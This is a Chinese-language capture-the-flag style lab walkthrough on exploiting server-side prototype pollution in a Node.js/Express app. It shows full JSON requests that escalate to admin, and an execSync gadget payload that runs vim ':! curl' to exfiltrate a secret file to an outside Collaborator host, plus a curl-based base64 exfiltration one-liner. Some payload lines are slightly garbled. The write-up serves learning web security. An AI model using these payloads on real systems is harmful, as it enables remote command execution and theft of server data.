> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md).
# 通过服务器端原型污染外泄敏感数据
### 通过服务器端原型污染外传敏感数据
**实验说明**
此实验基于 **Node.js** 以及框架 **Express**。该应用易受 **服务器端原型污染** 因为它将用户控制的数据不安全地合并到服务器端 JavaScript 对象中。
由于这种配置，可以污染 `Object.prototype` 以注入并执行 **任意系统命令**.
实验目标：
* 找到一个原型污染点，以向……添加任意属性 `Object.prototype`.
* 找到一个可用的 gadget 来注入并执行系统命令。
* 开始执行一条会泄露 Carlos 的个人目录（`/home/carlos`）到一个公开的 **Burp Collaborator** 服务器。
* 外传该目录中一个秘密文件的内容，并提交获得的值。
已经可获得管理员访问权限。可通过以下方式连接：
* **凭据**: `wiener:peter`
**易受攻击的入口点**
……的功能 **地址修改** 易受原型污染攻击。
已发送的请求：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
"constructor": {
"prototype": {
"test": "false",
"json spaces": 1
}
}
}
```
**污染确认**
服务器响应证实了 `Object.prototype` 污染和权限提升：
```json
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": true,
"test": "false",
"json spaces": 1
}
```
**管理功能**
在管理面板中，有一个 **运行维护** 选项可用。她发送以下请求：
{% code overflow="wrap" %}
```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```
{% endcode %}
此功能使用 `child_process.execSync()` 服务器端。此函数包含 `shell` 和 `输入` 参数，这是一个可通过原型污染利用的 gadget。
**通过……注入命令 `execSync`**
在 `__proto__` 污染载荷中，可以控制传递给 `execSync`:
```bash
"__proto__": {
"shell":"vim",
"input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```
执行维护任务时，应用端会失败，但会向 **Burp Collaborator**发送一个请求，从而证实命令执行。
**秘密文件外传**
要外传 Carlos 的秘密文件内容，使用以下载荷：
```json
"__proto__": {或
"shell":"vim",
"input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```
或：
```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```
完整请求：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
"__proto__": {
"shell":"vim",
"input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```
**结果**
Burp Collaborator 服务器收到一个包含秘密文件值的请求：
```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```
---
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